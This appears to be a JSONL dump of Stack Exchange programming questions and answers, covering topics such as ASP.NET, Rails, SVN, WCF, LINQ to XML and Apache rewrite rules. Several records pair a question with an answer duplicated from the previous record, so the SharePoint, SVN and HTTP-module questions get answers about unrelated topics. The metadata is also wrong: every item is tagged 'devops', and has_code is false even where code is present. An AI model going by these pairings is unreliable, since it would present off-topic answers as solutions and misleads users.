"url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.263985"}
{"id": "hf_2914be3baae5", "question": "<p>How do I pass an array I have created on the server side onto the client side for manipulation by Javascript?</p>\n\n<p>Any pseudo code will help</p>\n", "question_body": "", "answer": "You'll need to embed it as a javascript array declaration into the page.  There are a number of ways to do this, but it generally means turning the array into text that you write to the page, probably using the ClientScriptManager.\nI'm hoping for better javascript integration in a upcoming verison of ASP.Net.  Moving the\nvalue\nof a server variable —any server variable— to the client ought to be supported with a simple, one-line function call.  Not the back-flips we need right now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.297721"}
{"id": "hf_3ab115b463ab", "question": "<p>In C the following horror is valid:</p>\n\n<pre><code>myFunc()\n{\n  return 42;  // return type defaults to int.\n}\n</code></pre>\n\n<p>But, what about in C++? I can't find a reference to it either way...</p>\n\n<p>My compiler (Codegear C++Builder 2007) currently accepts it without warning, but I've had comments that this <strong><em>is</em></strong> an error in C++.</p>\n", "question_body": "", "answer": "It's\nill-formed\nin C++. Meaning that it doesn't compile with a standard conforming compiler. Paragraph\n7.1.5/4\nin Annex C of the Standard explains the change \"Banning implicit int\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.330947"}
{"id": "hf_dee7d292ac9d", "question": "<p>Does SQL Server CheckSum calculate a CRC? If not how can I get SQL Server to calculate a CRC on an arbitrary varchar column?</p>\n", "question_body": "", "answer": "I don't think T-SQL gives you the option to specify using a proper CRC as your checksum function. FYI, SQL Server Integration Services (SSIS) does have a \"Checksum\" transformation that gives you a choice of what checksum algorithm to use, and one of the choices is:\nCRC32 - Using a standard 32-bit cyclic\n  redundancy check (CRC), this provides\n  a more open implementation.\nTo implement a CRC in SQL, you can either write a pure T-SQL implementation of CRC (fun!), or (if you're using SQL Server 2005 or higher) write / find it in another .NET language and then use that class as a compiled SQL stored procedure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.363893"}
{"id": "hf_ca6861c5ddbd", "question": "<p>I have a div tag in the view that I'd like to update with a graph that I generate via Gruff.</p>\n\n<p>I have the following controller action which does this at the end</p>\n\n<pre><code>send_data g.to_blob, :disposition=&gt;'inline', :type=&gt;'image/png', :filename=&gt;'top_n.pdf'\n</code></pre>\n\n<p>Now if I directly invoke this action, I can see the graph. (More details <a href=\"http://madcoderspeak.blogspot.com/2008/12/graphs-in-ruby-on-rails.html\" rel=\"nofollow noreferrer\">here</a> if reqd.)</p>\n\n<p>If I add a <code>link_to_remote_tag</code> that calls the above action via AJAX passing in specific input, generates this graph and tries to update a placeholder div tag... I see gibberish. </p>\n\n<p>I think I can write the graph to a png file with <code>g.write(filename.png)</code> how do I embed the graph within the div tag in the view at run-time?</p>\n", "question_body": "", "answer": "In your link_to_remote tag just set :complete to something like this:\n```\n```\n:complete => \"updateImg(id_of_div, request.responseText)\"\n```\n```\nAnd write a JS function:\n```\n```\nfunction updateImg(id, img)\n{\n  $(id).innerHTML = '<img src=\"' + img + '\" />';\n}\n```\n```\nWhere id_of_div is the id of the div when you want to show de image.\nThe request.responseText var come from the request of the AJAX call, I mean, when your code writes the png file with the graph, finish the method returning the path to this new png (render :text => path_to_new_image ); then, use this request variable in the :complete.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.398549"}
{"id": "hf_d22126b091b3", "question": "<p>We develop Java Web-aps (Websphere, DB2) which display graphical and databased information. We would also like to offer the same application offline (distribution via CD/DVD) with online data-update. We have tried a number of alternatives in the past, but nothing has been really stable. What are the new best practices to take a Web ap plus data (in a small database) offline?</p>\n", "question_body": "", "answer": "I don't know how well it works with the CD/DVD distribution front, but the first thing that comes to mind is\nGears\n. On the .NET side of the fence there's\nSilverlight 2\n. Then there's the\nMozilla Prism\nproject, although I don't know how far advanced that is.\nThese are all designed for not just offline access, but mixed offline/online, talking to a server when it's available and working locally when necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.469055"}
{"id": "hf_5cd5a8366fbf", "question": "<p>Which is the best way to display a custom form for each new document being added to a specific document library?</p>\n\n<p>I want the user to have some control over some actions that adding the document will cause - specifically, tasks created for users in a Task List, which the contributing user will have to OK before committing.  </p>\n\n<p>Is the best way to do this via a Workflow or an event handler?</p>\n\n<p>Regards\nMoo</p>\n", "question_body": "", "answer": "I don't know how well it works with the CD/DVD distribution front, but the first thing that comes to mind is\nGears\n. On the .NET side of the fence there's\nSilverlight 2\n. Then there's the\nMozilla Prism\nproject, although I don't know how far advanced that is.\nThese are all designed for not just offline access, but mixed offline/online, talking to a server when it's available and working locally when necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.493782"}
{"id": "hf_e89be29798f6", "question": "<p>I have a piece of code in ANSI C which uses the time.h library and time_h structures to (amongst other date-related calculations) work out the interval between two given dates. This works fine but this limits my code to input between 1970 and 2038. I would now like to make my code more general.</p>\n\n<p>Is there a common C library (ANSI or C99 standard) which implements date calculations on ranges larger than time.h, on a granularity of 1 day (i.e. I need to-the-day resolution but hour resolution is not necessary)?</p>\n\n<p>(I'm adapting the code to deal with historical events hence it would be nice if it could also deal with dates in B.C. ....)</p>\n", "question_body": "", "answer": "There's a public domain implementation used in SQLite:\ndocumentation\n,\nsource\nI've also found the\nCalendar FAQ\nuseful;\nthis\npage pops up early on Google.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.601001"}
{"id": "hf_8f0303f8f923", "question": "<p>Doing a refresh after certain action in asp.net seems to make them happen again even when that action doesn't make sense (think double delete). The web way to deal with this situation is to redirect after a post to get a clean version of the page that can be refreshed without reposting an action to the webserver.  How can I do this with ASP.NET</p>\n", "question_body": "", "answer": "I have a feeling there is a deeper problem I'm not getting but here goes. In your postback event:\n```\n```\n// the post handling logic, e.g. the click event code\nResponse.Redirect(Request.RawUrl);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.648745"}
{"id": "hf_2d63d6f586a5", "question": "<p>I've got some directories that have been moved or renamed. The Linux command line SVN client ignores these directories. The TortoiseSVN plugin for Explorer shows them. If I delete them and update, they come back.</p>\n\n<p>All of the file movement and deletion has been done using the Linux SVN CLI tools. When doing an 'svn update' or even a fresh 'svn co' on a Linux system, these empty directories are not shown.</p>\n\n<p>When doing a fresh checkout using TortoiseSVN, the empty directories are created, even though they don't exist in the HEAD revision anymore. </p>\n\n<p>How can I make them go away?</p>\n", "question_body": "", "answer": "I have a feeling there is a deeper problem I'm not getting but here goes. In your postback event:\n```\n```\n// the post handling logic, e.g. the click event code\nResponse.Redirect(Request.RawUrl);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.671922"}
{"id": "hf_ae3ed05661b5", "question": "<p>I've found a answer how to remove diacritic characters on stackoverflow, but could you please tell me if it is possible to change diacritic characters to non-diacritic ones?</p>\n\n<p>Oh.. and I think about .NET (or other if not possible)</p>\n", "question_body": "", "answer": "Copying from\nmy own answer to another question\n:\nInstead of creating your own table, you could instead convert the text to normalization form D, where the characters are represented as a base character plus the diacritics (for instance, \"á\" will be replaced by \"a\" followed by a combining acute accent). You can then strip everything which is not an ASCII letter.\nThe tables still exist, but are now the ones from the Unicode standard.\nYou could also try NFKD instead of NFD, to catch even more cases.\nReferences:\nhttp://unicode.org/reports/tr15/\nhttp://www.siao2.com/2005/02/19/376617.aspx\nhttp://www.siao2.com/2007/05/14/2629747.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.695548"}
{"id": "hf_b0efef4d2368", "question": "<p>I'm considering using AMQP (using qpid) to enable a mixture of Python and Java services communicate with each other. Basic text messaging seems simple enough but, as with every other messaging technology I've investigated, that's where it seems to stop. Except for building instant messaging applications, I would have thought sending strings wasn't a particularly useful thing to do yet example after example demonstrates sending unformatted text around.</p>\n\n<p>My instinct then is to use XML (de-)serialization or something similar (JSON, YAML, Protocol Buffers etc.) which has good library support in both languages. Is this a best practice and, if so, which (de-)serialization protocol would people recommend? Or am I missing the point somewhere and should be quite content sending small bits of text?</p>\n", "question_body": "", "answer": "XML or JSON are probably the easiest. Protocol buffers is cool but I'd treat it as an optimisation to think of later on if you really need to (as its a bit harder to use being essentially a binary wire format).\nBTW you might want to look at Stomp rather than AMQP; its got way more client libraries and supported message brokers. e.g.\nApache ActiveMQ\nwhich is way more popular than qpid or rabbitmq - or indeed any\nJMS provider\nwould work just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.718971"}
{"id": "hf_765ec4dae60a", "question": "<p>Calling through to my Silverlight Enabled WCF-Service in my silverlight application, occasionally users get timeouts. Whats the easiest way to boost the time allowed by the service client for a response?</p>\n\n<p>The exact exception thrown is: System.TimeoutException: [HttpRequestTimedOutWithoutDetail]</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Ammount of time connection can be open:\nBasicHttpBinding.OpenTimeout\nproperty\nTime that a connection can remain inactive, during which no application messages are received, before it is dropped:\nBasicHttpBinding.ReceiveTimout\nproperty\nThis can be set in the  node of the ServiceReference.ClientConfig file in the silverlight app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.777522"}
{"id": "hf_c0d30f03b79d", "question": "<p>I am using NHibernate on a new ASP.NET project, and am running into what I believe to be strange behavior.  I am attempting to manage my session by using an HttpModule to catch the EndRequest event and close the session.  This is working fine, however, after the EndRequest event fires, I am getting an exception in the OnLoad event of one of my custom controls that is attempting to read a Property from my object that is lazy loaded.  I get an exception stating 'failed to lazily initialize a collection, no session or session was closed'.  Turning lazy load off for these properties does fix the problem, and is an acceptable solution.  But this seems to be going against what I always thought to be true.</p>\n\n<p>I would assume that the OnLoad event and all server side processing would be done at the point that EndRequest is fired.  This is also the first time that I have used IIS 7 on a project.  Is this a reason for the behavior? What is the expected behavior?</p>\n", "question_body": "", "answer": "If your object is lazy-init and no session is open, resolving the properties will fail.\nRemember that lazy exceptions will most probably appear when you have some relationship with another entity that hasn't been initialized.\nhttp://forum.springframework.org/showthread.php?t=13474\nI would also recommend using something like the HTTP Module in\nRhino Commons\nto manage your NHibernate Sessions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.872291"}
{"id": "hf_db1486077fb3", "question": "<p>Any list of Testing frameworks for ActionScript 2.0/3.0 around there?</p>\n", "question_body": "", "answer": "FlexUnit is the \"official\" unit testing framework. It's owned by Adobe's Research guys I believe.\nhttp://labs.adobe.com/wiki/index.php/ActionScript_3:resources:apis:libraries\nHere's a tutorial on how to use it:\nhttp://langexplr.blogspot.com/2008/10/creating-flex-unit-tests-with-flexunit.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.971166"}
{"id": "hf_e0daa496b13c", "question": "<p><strong>What is the best way to make one of the branches of a subversion repository the new trunk?</strong>  </p>\n\n<p>There has been a major rewrite for the entire system: things have been moved around, rewritten, replaces, removed, renamed etc. The rewritten code has been tested and is ready to replace the old trunk.</p>\n\n<p>Basically, the the old mainline (Trunk 5) is tagged and will end here. The rewritten branch (Branch 6) is to become the new mainline (Trunk 7):</p>\n\n<pre>\nTrunk(1) --> Trunk(2) --> Trunk(5) --> &times;          +--> new Trunk(7)\n  \\                             \\                 |\n  fork                         merge             ???\n    \\                             \\               |\n     +--> Branch(3) --> Branch(4) --> Branch(6) --+\n</pre>\n\n<p>All ongoing changes from the old 'Trunk' are already incorporated in the 'Rewritten branch'</p>\n\n<p><strong>How can I do this?</strong></p>\n", "question_body": "", "answer": "Use\nsvn move\nto move the contents of the old trunk somewhere else and rename the branch to trunk afterward.\nNote that copy and move in svn work like file operations. You can use them to move/copy stuff around in your repository and these changes are versioned as well. Think of \"move\" as \"copy+delete\".\n[EDIT] Nilbus just notified me that you will get merge conflicts when you use\n```\nsvn move\n```\n.\nI still think that this is the correct approach. It will cause conflicts but if you merge carefully, chances are that you won't lose any data. If that bothers you, use a better VCS like\nMercurial\nor\nGit\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.998561"}
{"id": "hf_3a76ab65c538", "question": "<p>I know this is probably on the Internet somewhere but I can't find the answer here on Stackoverflow so I thought I may boost up the knowledge base here a little.</p>\n\n<p>I'm a newbie to Ruby and Rails but my company is getting pretty invested in it so I'm trying to get to know it in a little more detail.</p>\n\n<p>It's been difficult for me to change my mindset to designing an application from the \"model\" rather the from the database, so I'm trying to figure out how would do all of the design work that I have classically done in the Database in the Rails model instead.</p>\n\n<p>So the most recent task that I have given myself is to figure out how to configure a Rails database model to do cascading deletes? Is there an easy way of doing this? Or would I have to go into the MySql and set this up?</p>\n", "question_body": "", "answer": "Yeah you can, if you are using a relationship like has_many you just do this\n```\n```\nhas_many :memberships, dependent: :destroy\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.022168"}
{"id": "hf_28bacbf176eb", "question": "<p>I have an http module on a sharepoint site and this module instantiates a custom class and add it to the session and does other initial things for my site.\nHowever, I'm noticing that the http module is being called for all request types (.aspx, .js, .png, .jpg).</p>\n\n<p>Is there any way to have an http module only be called for .net specific page types?</p>\n", "question_body": "", "answer": "Yeah you can, if you are using a relationship like has_many you just do this\n```\n```\nhas_many :memberships, dependent: :destroy\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.046412"}
{"id": "hf_3e07a03bd852", "question": "<p>When working with WCF services, is it better to create a new instance of the service every time you use it?  Or is it better to create one and re-use it?  Why is either approach better?  Is it the same for asynchronous proxies?  </p>\n", "question_body": "", "answer": "There is a corollary here to Server Activated Objects in .NET Remoting (one of the technologies that is replaced by WCF), which have two modes, \"Single Call\" (stateless) and \"Singleton\" (stateful).\nThe approach you take in WCF should be based on your performance and scaling requirements in conjunction with the needs of your consumers, as well as server-side design constraints.\nIf you have to maintain state between calls to the service, then you will obviously want to have a stateful instance, but if you don't you should probably implement it so that it is static, which should scale better (you can more easily load balance, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.094612"}
{"id": "hf_8862430e28c5", "question": "<p>I am getting a \" Thread was being aborted  \" Exception in an ASP.NET page.I am not at all using any Response.Redirect/Server.Transfer method.Can any one help me to solve this ?</p>\n", "question_body": "", "answer": "The\nbad\nsolution is using\n```\n```\nResponse.Redirect(URL, False)\n```\n```\nwhich will cause\nnot\nto Response.End() current page, however be careful this might lead problems because rest of the page will get\nexecuted\nand might cause\nlogin bypass\nand similar security and performance issues.\nEdit : Apparently you are not using Response.Redirect and you can't catch AbortThreadExecution with Try Catch, which means this answer is totally useless now :)\nAlthough to able to get an answer you need to learn how to ask a question. you need to provide information such as :\nException details\nWhen it, what are the symptoms\nWhat have you tried and didn't work\nHave you manage the isolate the problem?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.179267"}
{"id": "hf_3b9f0b0cccc6", "question": "<p>I've got 2 Questions:</p>\n\n<p>1.\nI've sarted working around with Linq to XML and i'm wondering if it is possible to change an XML document via Linq. I mean, is there someting like </p>\n\n<pre><code>XDocument xmlDoc = XDocument.Load(\"sample.xml\");\n\nupdate item in xmlDoc.Descendants(\"item\")\nwhere (int)item .Attribute(\"id\") == id\n...\n</code></pre>\n\n<p>2.\nI already know how to create and add a new XMLElement by simply using </p>\n\n<pre><code>xmlDoc.Element(\"items\").Add(new XElement(......);\n</code></pre>\n\n<p>but how can I remove a single entry?</p>\n\n<p>XML sample data:</p>\n\n<pre><code>&lt;items&gt;\n  &lt;item id=\"1\" name=\"sample1\" info=\"sample1 info\" web=\"\" /&gt;\n  &lt;item id=\"2\" name=\"sample2\" info=\"sample2 info\" web=\"\" /&gt;\n&lt;/itmes&gt;\n</code></pre>\n", "question_body": "", "answer": "Is this what you have in mind?\n```\n```\nusing System;\nusing System.Linq;\nusing System.Xml.Linq;\n\nstatic void Main(string[] args)\n{\n    string xml = @\"<data><record id='1'/><record id='2'/><record id='3'/></data>\";\n    StringReader sr = new StringReader(xml);\n    XDocument d = XDocument.Load(sr);\n\n    // the verbose way, if you will be removing many elements (though in\n    // this case, we're only removing one)\n    var list = from XElement e in d.Descendants(\"record\")\n               where e.Attribute(\"id\").Value == \"2\" \n               select e;\n\n    // convert the list to an array so that we're not modifying the\n    // collection that we're iterating over\n    foreach (XElement e in list.ToArray())\n    {\n       e.Remove();\n    }\n\n    // the concise way, which only works if you're removing a single element\n    // (and will blow up if the element isn't found)\n    d.Descendants(\"record\").Where(x => x.Attribute(\"id\").Value == \"3\").Single().Remove();\n\n    XmlWriter xw = XmlWriter.Create(Console.Out);\n    d.WriteTo(xw);\n    xw.Flush();\n    Console.ReadLine();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.251285"}
{"id": "hf_12acc726f908", "question": "<p>We have one web application (sharepoint) that collects information from disparate sources. We would like to be able to link users to the main websites of those various sources and have them pre-authenticated. I.E. they enter their credentials for the other sources (which are a number of different types LDAP, AD and home grown!) and we retrieve some information for them, and remember there details (Possibly Single Sign-on to keep em nice and safe). The user can then click a link that will open the full app in another window already authenticated.</p>\n\n<p>Is this even likely to be possible?</p>\n", "question_body": "", "answer": "You need to act as a web browser acts to different sites with storing credentials (usually in cookies) locally. Use therefore a  a proper client library with cookie support. This could go probably for most of sites. There are sites using HTTP authentication, which are also easier to access from appropriate client libraries.  The most demanding can be access to SSL websites, but again, most client HTTP libraries cover that nowadays as well.\nAll you need now is just to prepare your web application to act as a proxy to all those separate web resources. How exactly this is done in Sharepoint, well, I hope others will answer that...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.304140"}
{"id": "hf_61530dc8be26", "question": "<p>My code is like the following:</p>\n\n<pre><code>URLConnection cnx = address.openConnection();\ncnx.setAllowUserInteraction(false);         \ncnx.setDoOutput(true);\ncnx.addRequestProperty(\"User-Agent\", \n    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");\nInputStream is = cnx.getInputStream();\n</code></pre>\n\n<p>Is it ok if I set the headers before I get the <code>InputStream</code>? Will my header be sent, or will the server see the default <code>URLConnection</code>'s user-agent ( if any ) ?</p>\n", "question_body": "", "answer": "The headers\nmust\nbe set prior to getting the\n```\nInputStream\n```\nto have any affect - an\n```\nIllegalStateException\n```\nwill be thrown if the connection is already open.\nAs far as the\n```\nUser-Agent\n```\nheader specifically, it should be sent if it has been set.\nSee the\nURLConnection\nJavaDoc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.340702"}
{"id": "hf_18fcfdd167e6", "question": "<p>I have an existing htaccess that works fine:</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{SCRIPT_FILENAME} !-f\nRewriteCond %{SCRIPT_FILENAME} !-d\nRewriteRule (.*) /default.php \nDirectoryIndex index.php /default.php\n</code></pre>\n\n<p>I wish to modify this so that all urls that start with /test/ go to /test/default.php, <strong>while keeping all other URLs with the existing /default.php</strong>.</p>\n\n<p>Example: <a href=\"http://www.x.com/hello.php\" rel=\"nofollow noreferrer\">http://www.x.com/hello.php</a> -- > <a href=\"http://www.x.com/default.php\" rel=\"nofollow noreferrer\">http://www.x.com/default.php</a> Example: <a href=\"http://www.x.com/test/hello.php\" rel=\"nofollow noreferrer\">http://www.x.com/test/hello.php</a> -- > <a href=\"http://www.x.com/test/default.php\" rel=\"nofollow noreferrer\">http://www.x.com/test/default.php</a></p>\n", "question_body": "", "answer": "Put the rule for /test/ in before the rule for everything else, but give it an\n```\n[L]\n```\nflag to stop the rewrite rule processing there if it matches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.365357"}
{"id": "hf_3804ee03bf96", "question": "<p>I have a control which the user can resize with the mouse.  When they move the right side, I just change the width, and everything works fine.</p>\n\n<p>However, when they move the left size, I have to change the Left and Width properties.  The right hand side of the control visibly twitches, showing the old width in the new position. </p>\n\n<p>It still twitches if I set both left and width at once using Bounds; whether or not I use SetStyle with any of UserPaint, Opaque, OptimizedDoubleBuffer, AllPaintingInWmPaint or ResizeRedraw; and whether or not it's double buffered.  It still twitches if I call SuspendLayout()/ResumeLayout() on either the control or its parent.</p>\n\n<p>How do I stop controls from twitching when I change their left positions and their widths?</p>\n", "question_body": "", "answer": "You might want to try calling\n```\nControl.SuspendLayout()\n```\non the containing form before moving / resizing, then\n```\nControl.ResumeLayout()\n```\n.\nIt sounds like no matter what mode you set the control to, some event that fires when you change the bounds is redrawing it before both values are set.  It may have something to do with the form.\nEDIT:\nI saw this\nsimilar question\non SO, you mentioned you had already used SetStyle(), but maybe there is some combination of options you can choose that will give you the desired effect.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.389260"}
{"id": "hf_bf4e4aa95189", "question": "<p>The other day I decided to write an implementation of <a href=\"http://en.wikipedia.org/wiki/Radix_sort\" rel=\"nofollow noreferrer\">radix sort</a> in Java. Radix sort is supposed to be O(k*N) but mine ended up being O(k^2*N) because of the process of breaking down each digit to one number. I broke down each digit by modding (%) the preceding digits out and dividing by ten to eliminate the succeeding digits. I asked my professor if there would be a more efficient way of doing this and he said to use bit operators. Now for my questions: Which method would be the fastest at breaking down each number in Java, 1) Method stated above. 2) Convert number to String and use substrings. 3) Use bit operations. </p>\n\n<p>If 3) then how would that work?</p>\n", "question_body": "", "answer": "Radix_sort_(Java)\nThe line of code that does this;\n```\n```\nint key = (a[p] & mask) >> rshift;\n```\n```\nis the bit manipulation part.\n```\n&\n```\nis the operator to do a bitwise AND and\n```\n>>\n```\nis a right-shift.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.425047"}
{"id": "hf_d8cb93d1cdf6", "question": "<p>Okay I have this RewriteRule which is supposed to redirect any request for the file base.css to {folder of .htacces file}/include/style/base.css, but is just keeps redirecting in an infinite loop, I thought the L parameter would make sure that wouldn't happen.</p>\n\n<pre><code>RewriteRule (.*)/base.css$ include/style/base.css [L,NC,R=301]\n</code></pre>\n\n<p>Also it redirects to <a href=\"http://localhost/C:/somemaps/include/style/base.css\" rel=\"nofollow noreferrer\">http://localhost/C:/somemaps/include/style/base.css</a> which it isn't really supposed to do either.</p>\n\n<p>Can anyone tell me how to fix this?<br>\nAlso I would like to have the RewriteRule so it would redirect any file.css to {folder of .htacces file}/include/style/file.css<br>\nBTW the .htacces file is in the root of the website (which is not the root of the server!)</p>\n", "question_body": "", "answer": "You have Redirect and Rewrite confused.  A redirect is a HTTP status code that tells the browser to go to another URL.  You actually just want to Rewrite the location to another file location.  Try\n```\n```\nRewriteRule (.*)/(.*).css$ /include/style/$2.css [L,NC]\n```\n```\nIf this doesn't work try adding the following right after the RewriteEngine On\n```\n```\nRewriteBase /my-virtual-folder-path-where-htaccess-is-stored\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.545562"}
{"id": "hf_a5cc6dd3e89e", "question": "<p>I have the following very simple Javascript-compatible regular expression:</p>\n\n<pre><code>&lt;script type=\"text/javascript\" id=\"(.+)\" src=\"([^\"]+)\"&gt;\n</code></pre>\n\n<p>I am trying to match on script tags and gather both the ID and src attributes. I'd like to make the order of the attributes irrelevant, so that the following will still match:</p>\n\n<pre><code>&lt;script id=\"...\" type=\"text/javascript\" src=\"...\"&gt;\n&lt;script src=\"...\" id=\"...\" type=\"text/javascript\"&gt;\n&lt;script id=\"...\" src=\"...\" type=\"text/javascript\"&gt;\n</code></pre>\n\n<p>Is it possible to allow the attributes to appear in any order without compromising its ability to collect the matching ID and src?</p>\n\n<p><em>edit</em> The string to match on is coming from innerHTML, making DOM traversal impossible. Also, I cannot use any third party libraries for this specific application.</p>\n", "question_body": "", "answer": "Try the following:\n```\n```\n<script\\s*\\S*\\s*(id=\"([^\"]+)\")?\\s*\\S*\\s*(src=\"([^\"]+)\")\\s*\\S*\\s*(id=\"([^\"]+)\")?[^>]*>\n```\n```\nsince you don't care about the type, just remove it because it makes things more complicated.  And then just brute force the rest by adding two optional ID's on either sice of the src.\nAlternatively you can do\n```\n```\n<script\\s*(([^=]*)=\"([^\"]*)\")+\\s*>\n```\n```\nTo get all the attributes and then pick out the ones you want in code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.629960"}
